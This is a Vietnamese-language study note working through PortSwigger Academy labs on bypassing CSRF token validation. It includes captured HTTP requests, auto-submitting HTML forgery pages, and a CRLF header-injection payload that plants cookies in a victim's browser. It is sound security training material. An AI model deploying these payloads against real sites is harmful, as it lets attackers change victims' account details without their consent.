Validation of CSRF Token Depends on Request Method

Một số ứng dụng xác thực CSRF token đối với các POST request nhưng lại bỏ qua việc xác thực các GET request. Trong trường hợp này, attacker có thể dùng GET request để bypass việc xác thực và thực hiện tấn công CSRF:

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

Lab: CSRF Where Token Validation Depends on Request Method

Ứng dụng chỉ xác thực CSRF token đối với phương thức POST.

Đầu tiên, đăng nhập vào tài khoản wiener:peter để có cookie. Sau đó capture lại request thay đổi email:

POST /my-account/change-email HTTP/2
Host: 0a9500d20400555c8012085800cb00d5.web-security-academy.net
Cookie: session=6LwFhS6oF8MGrAA3cQS8PjspG9r49th7
Content-Length: 68
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a9500d20400555c8012085800cb00d5.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9500d20400555c8012085800cb00d5.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=wiener%40normal-user.net&csrf=YVgT9lSXLNfoZR4C2mDVRs5nlq1iu2sf

Tạo ra CSRF PoC như sau:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a9500d20400555c8012085800cb00d5.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Chú ý rằng method của form trên là GET với tham số email có giá trị là csrf@normal-user.net.

Paste payload trên vào exploit server của lab, nhấn nút Store và nhấn nút View để test payload. Request gửi đi có dạng như sau:

GET /my-account/change-email?email=csrf%40normal-user.net HTTP/2
Host: 0a9500d20400555c8012085800cb00d5.web-security-academy.net
Cookie: session=6LwFhS6oF8MGrAA3cQS8PjspG9r49th7
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://exploit-0a95002804ae553e805107a101ce003b.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 

Kết quả là email của user wiener đã bị thay đổi. Set email này về lại email ban đầu và nhấn nút Deliver exploit to victim để hoàn thành lab.

Validation of CSRF Token Depends on Token Being Present

Một số ứng dụng chỉ xác thực CSRF token chỉ khi nào nó có tồn tại. Trong trường hợp này, attacker chỉ cần bỏ đi CSRF token trong request là đã có thể bypass việc xác thực và thực hiện tấn công CSRF:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
 
email=pwned@evil-user.net

Lab: CSRF Where Token Validation Depends on Token Being Present

Mục tiêu là thay đổi email của người dùng sử dụng CSRF attack.

Request thay đổi email có dạng như sau:

POST /my-account/change-email HTTP/2
Host: 0a1500e2031909168182713e008f0038.web-security-academy.net
Cookie: session=e5fPeUSL9I3dRYlGVWDt7TTem5JFGY9Z
Content-Length: 68
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a1500e2031909168182713e008f0038.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a1500e2031909168182713e008f0038.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=wiener%40normal-user.net&csrf=JUGJNs1tApPdEsU7DW73AC6yzMw9TCHF

Tạo ra payload mà không có tham số csrf:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a1500e2031909168182713e008f0038.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Sử dụng payload trên ở exploit server của lab và ta thu được cross domain request như sau:

POST /my-account/change-email HTTP/2
Host: 0a1500e2031909168182713e008f0038.web-security-academy.net
Cookie: session=e5fPeUSL9I3dRYlGVWDt7TTem5JFGY9Z
Content-Length: 28
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://exploit-0a4f0058036b094781b170d501c400e5.exploit-server.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://exploit-0a4f0058036b094781b170d501c400e5.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=csrf%40normal-user.net

Kết quả là email của nạn nhân đã bị thay đổi thành csrf@normal-user.net.

CSRF Token is Not Tied to the User Session

Một vài ứng dụng không kiểm tra việc token có thuộc về session của user đang gửi request hay không. Thay vào đó, ứng dụng sử dụng một global pool các token đã được cấp và chấp nhận bất kỳ token nào có trong pool này.

Trong trường hợp này, attacker có thể đăng nhập vào một tài khoản mà hắn biết rồi lấy token để thực hiện CSRF attack.

Lab: CSRF Where Token is Not Tied to User Session

Có hai tài khoản:

  • wiener:peter
  • carlos:montoya

Đăng nhập vào tài khoản thứ 2 rồi đổi email, ta thu được request có chứa token như sau:

POST /my-account/change-email HTTP/2
Host: 0af6006303c6670580318f5c008400a7.web-security-academy.net
Cookie: session=P0qxfQPvM7HZS4Ny5fa9yRQzxC9IqMji
Content-Length: 71
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0af6006303c6670580318f5c008400a7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0af6006303c6670580318f5c008400a7.web-security-academy.net/my-account?id=carlos
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=carlos%40carlos-montoya.net&csrf=Wspdn6yD6JUBosKspfQLVnOSUp8iiW7p

Tạo ra payload với token trên như sau:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0af6006303c6670580318f5c008400a7.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
      <input type="hidden" name="csrf" value="Wspdn6yD6JUBosKspfQLVnOSUp8iiW7p" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Important

Khi CSRF token được gửi lại cho server thì nó sẽ không còn là một token hợp lệ. Do đó, chúng ta cần chặn và drop request trên.

Đăng nhập vào tài khoản 1 và paste payload trên vào exploit server của lab. Test thử payload thì có request như sau:

POST /my-account/change-email HTTP/2
Host: 0af6006303c6670580318f5c008400a7.web-security-academy.net
Cookie: session=cyjItRaPWO5q0LKBpUvEM5iiLMsCbvkW
Content-Length: 66
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://exploit-0a240092037767ab80518e8801cc00c6.exploit-server.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://exploit-0a240092037767ab80518e8801cc00c6.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=csrf%40normal-user.net&csrf=Wspdn6yD6JUBosKspfQLVnOSUp8iiW7p

Kết quả là email của user đã bị thay đổi.

Capture lại request thay đổi email của tài khoản 2 một lần nữa để tạo ra payload mới nhằm chuyển giao cho nạn nhân (do token ở trên đã được dùng để test nên không còn hợp lệ).

Một số ứng dụng có gán CSRF token cho một cookie nhưng không phải là cookie dùng để theo dõi session. Điều này có thể xảy ra khi ứng dụng sử dụng hai framework (một để quản lý session và một để bảo vệ khỏi CSRF attack) mà không được tích hợp với nhau:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
 
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

Note

Cookie csrfKey ở trong request trên là để định danh CSRF token. Server lưu trữ một mapping giữa key và token. Nếu token gửi lên không match với bất kỳ key nào thì token đó xem như không hợp lệ.

Trường hợp này khó khai thác hơn nhưng không phải là bất khả thi. Nếu website có bất kỳ hành vi nào cho phép attacker thay đổi cookie trong trình duyệt của nạn nhân thì có vẫn có thể tấn công.

Cụ thể, attacker có thể đăng nhập vào một tài khoản biết trước, lấy CSRF token hợp lệ và cookie tương ứng rồi lạm dụng hành vi thay đổi cookie trong trình duyệt của nạn nhân để replace cookie của nạn nhân và truyền vào CSRF token nhằm thực hiện CSRF attack.

Info

Nếu không thể thay đổi cookie trên trang web cần tấn công, attacker vẫn có thể thực hiện việc này trên các subdomain của trang web đó. Ví dụ, việc thay đổi cookie ở trang staging.demo.normal-website.com có thể bị lạm dụng để replace cookie ở trang secure.normal-website.com.

Có hai tài khoản là wiener:petercarlos:montoya.

Đăng nhập vào tài khoản wiener, thay đổi email và thu được request như sau:

POST /my-account/change-email HTTP/2
Host: 0a8e004604e68f9c82f447ce0021005e.web-security-academy.net
Cookie: csrfKey=6khhAYWfTcTwTMzJg0lTo0d6YbEM1c18; session=p3RyMN9pueJVrFeLqs7l1SWrpFjT0TNr
Content-Length: 68
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a8e004604e68f9c82f447ce0021005e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8e004604e68f9c82f447ce0021005e.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=wiener%40normal-user.net&csrf=0cd9Djcr7XzaRaFgP97PncDQDwPi0a8B

Nếu thay đổi cookie session thì sẽ bị logout còn nếu thay đổi cookie csrfKey thì sẽ nhận được response như sau:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20
 
"Invalid CSRF token"

Điều này cho ta biết rằng token gửi lên không match với bất kỳ key nào.

Đăng nhập vào tài khoản carlos bằng một browser khác, thay đổi email và thu được request như sau:

POST /my-account/change-email HTTP/2
Host: 0a8e004604e68f9c82f447ce0021005e.web-security-academy.net
Cookie: csrfKey=V6YXYC4Bg7gX72QAI8KIEZRelbsSRUpE; session=gb6WKIUo1XJQZjvVnYj6Dc5I8k0D1wD4
Content-Length: 71
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a8e004604e68f9c82f447ce0021005e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8e004604e68f9c82f447ce0021005e.web-security-academy.net/my-account?id=carlos
Accept-Encoding: gzip, deflate, br
Accept-Language: vi
 
email=carlos%40carlos-montoya.net&csrf=A6bDWY4e5DO8kWKn1iGFLNHEkaKKfZah

Thử sao chép key và token từ request của wiener sang request của carlos, ta vẫn thực hiện được việc thay đổi email dưới danh nghĩa của carlos. Như vậy, nếu chúng ta set được giá trị của cookie csrfKey và tham số csrf trong cross-site request thành một cặp key - token mà ta biết thì có thể thực hiện CSRF attack.

Quay về trang chủ và thử tìm kiếm thông qua ô tìm kiếm. Request gửi đi có dạng sau:

GET /?search=hello HTTP/2
Host: 0a8e004604e68f9c82f447ce0021005e.web-security-academy.net
Cookie: csrfKey=6khhAYWfTcTwTMzJg0lTo0d6YbEM1c18; session=p3RyMN9pueJVrFeLqs7l1SWrpFjT0TNr
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8e004604e68f9c82f447ce0021005e.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Phần header trong response trả về:

HTTP/2 200 OK
Set-Cookie: LastSearchTerm=hello; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3421

Có thể thấy, giá trị của tham số search trong request được lưu vào cookie LastSearchTerm.

Do chức năng tìm kiếm không được bảo vệ khỏi CSRF attack, ta có thể dùng chức năng này để set cookie csrfKey trong trình duyệt của nạn nhân.

Thay đổi email một lần nữa cho tài khoản carlos, capture request rồi drop request. Request có dạng như sau:

POST /my-account/change-email HTTP/2
Host: 0a8e004604e68f9c82f447ce0021005e.web-security-academy.net
Cookie: csrfKey=zzNK9XVApNxFPwKEqBxUL6x6el09eR6S; session=gBrhEhMyLNQASRUrxgM5h2RoDsIHu8dJ
Content-Length: 71
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a8e004604e68f9c82f447ce0021005e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8e004604e68f9c82f447ce0021005e.web-security-academy.net/my-account?id=carlos
Accept-Encoding: gzip, deflate, br
Accept-Language: vi
 
email=carlos%40carlos-montoya.net&csrf=qmUrDaLWPzsIIrMGvgGetnhCWV1KODdm

PoC tạo ra có dạng như sau:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a8e004604e68f9c82f447ce0021005e.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;csrf&#46;net" />
      <input type="hidden" name="csrf" value="qmUrDaLWPzsIIrMGvgGetnhCWV1KODdm" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Tạo ra URL có giá trị của param search như sau:

csrf
Set-Cookie: csrfKey=zzNK9XVApNxFPwKEqBxUL6x6el09eR6S; SameSite=None

Phân tích payload trên:

  • Dòng đầu tiên kết thúc bằng ký tự carriage return (CR - \r - %0D) và ký tự newline (NL - \n - %0A). Giao thức HTTP sử dụng hai cặp 2 ký tự này (CRLF) để ngăn cách các header với nhau1.
  • Dòng thứ 2 trong payload trên sẽ ghi đè lại header Set-Cookie của server.

URL encode payload trên ta được giá trị như sau:

csrf%0D%0ASet-Cookie%3A+csrfKey%3DzzNK9XVApNxFPwKEqBxUL6x6el09eR6S%3B+SameSite%3DNone

Thêm vào PoC thẻ <img> như sau:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
	<img 
		src="https://0a8e004604e68f9c82f447ce0021005e.web-security-academy.net/?search=csrf%0D%0ASet-Cookie%3A+csrfKey%3DzzNK9XVApNxFPwKEqBxUL6x6el09eR6S%3B+SameSite%3DNone"
		onerror="document.forms[0].submit()"
	>
    <form action="https://0a8e004604e68f9c82f447ce0021005e.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;csrf&#46;net" />
      <input type="hidden" name="csrf" value="qmUrDaLWPzsIIrMGvgGetnhCWV1KODdm" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Có thể thấy, ta dùng chính thẻ <img> để gọi thực thi script.

Paste PoC trên exploit server của lab, test và chuyển giao cho nạn nhân.

Request tìm kiếm có dạng như sau:

GET /?search=csrf%0D%0ASet-Cookie%3A+csrfKey%3DzzNK9XVApNxFPwKEqBxUL6x6el09eR6S%3B+SameSite%3DNone HTTP/2
Host: 0a8e004604e68f9c82f447ce0021005e.web-security-academy.net
Cookie: csrfKey=6khhAYWfTcTwTMzJg0lTo0d6YbEM1c18; session=agFkOTpUHcsrjVwse2bO0YosCs3J8x63; LastSearchTerm=csrfSet-Cookie: csrfKey=zYwFwWPnqrDlhP3HlwJbo5qQJ9q0NNpv
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Sec-Ch-Ua-Platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://exploit-0a48009504398f69825c46de013a003f.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Các header trong response:

HTTP/2 200 OK
Set-Cookie: LastSearchTerm=csrf
Set-Cookie: csrfKey=zzNK9XVApNxFPwKEqBxUL6x6el09eR6S; SameSite=None; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3489

Request thay đổi email có dạng như sau:

POST /my-account/change-email HTTP/2
Host: 0a8e004604e68f9c82f447ce0021005e.web-security-academy.net
Cookie: session=agFkOTpUHcsrjVwse2bO0YosCs3J8x63; LastSearchTerm=csrfSet-Cookie: csrfKey=zYwFwWPnqrDlhP3HlwJbo5qQJ9q0NNpv; csrfKey=zzNK9XVApNxFPwKEqBxUL6x6el09eR6S
Content-Length: 59
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://exploit-0a48009504398f69825c46de013a003f.exploit-server.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://exploit-0a48009504398f69825c46de013a003f.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=csrf%40csrf.net&csrf=qmUrDaLWPzsIIrMGvgGetnhCWV1KODdm

Kết quả là ta có thể thay đổi email của nạn nhân thành công.

Summary

Cách tấn công trên chỉ khả thi nếu ta có thể thay đổi cookie trong trình duyệt của nạn nhân.

Một số ứng dụng không lưu token đã được cấp phát ở server. Thay vào đó, server sẽ set thêm token ở trong cookie. Khi một request được gửi lên, server sẽ so khớp token trong query param với giá trị ở trong cookie. Đây là một cách làm đơn giản và không cần phải lưu cookie ở phía server.

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
 
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

Trong trường hợp này, nếu như ứng dụng có một chức năng nào đó giúp set cookie thì attacker có thể triển khai CSRF attack. Thậm chí, attacker cũng không cần phải lấy một token hợp lệ từ request mà chỉ cần tạo ra một token bất kỳ (đúng định dạng trong trường hợp server có kiểm tra định dạng) rồi thay đổi cookie của nạn nhân và truyền vào query param là có thể tấn công.

Request thay đổi email:

POST /my-account/change-email HTTP/2
Host: 0af0007c034b232a8080bdc9007a003e.web-security-academy.net
Cookie: csrf=5aEnEApbPhBmBvGbvSxTZ0jstimBwxCE; session=7hvlgVfdArn4FuVXLTp59KjGp1dokNcV
Content-Length: 68
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0af0007c034b232a8080bdc9007a003e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0af0007c034b232a8080bdc9007a003e.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=wiener%40normal-user.net&csrf=5aEnEApbPhBmBvGbvSxTZ0jstimBwxCE

Tạo CSRF PoC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0af0007c034b232a8080bdc9007a003e.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;csrf&#46;net" />
      <input type="hidden" name="csrf" value="djv925lz4brhafq9f176rood7ed5x4o3" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Với djv925lz4brhafq9f176rood7ed5x4o3 là một token tự tạo.

Request tìm kiếm có dạng như sau:

GET /?search=hello HTTP/2
Host: 0af0007c034b232a8080bdc9007a003e.web-security-academy.net
Cookie: csrf=5aEnEApbPhBmBvGbvSxTZ0jstimBwxCE; session=7hvlgVfdArn4FuVXLTp59KjGp1dokNcV
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0af0007c034b232a8080bdc9007a003e.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Header trong response:

HTTP/2 200 OK
Set-Cookie: LastSearchTerm=hello; Secure; HttpOnly
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3403

Như vậy, ta có thể set cookie thông qua chức năng tìm kiếm. Payload để set cookie:

csrf%0D%0ASet-Cookie%3A+csrf%3Ddjv925lz4brhafq9f176rood7ed5x4o3%3B+SameSite%3DNone

Thêm vào PoC thẻ <img> như sau:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
	<img src="https://0af0007c034b232a8080bdc9007a003e.web-security-academy.net/?search=csrf%0D%0ASet-Cookie%3A+csrf%3Ddjv925lz4brhafq9f176rood7ed5x4o3%3B+SameSite%3DNone"
		onerror="document.forms[0].submit()">	
    <form action="https://0af0007c034b232a8080bdc9007a003e.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;csrf&#46;net" />
      <input type="hidden" name="csrf" value="djv925lz4brhafq9f176rood7ed5x4o3" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
list
from outgoing([[Port Swigger - Bypassing CSRF Token Validation]])
sort file.ctime asc

Resources

Footnotes

  1. tham khảo Carriage Return Line Feed | GuardRails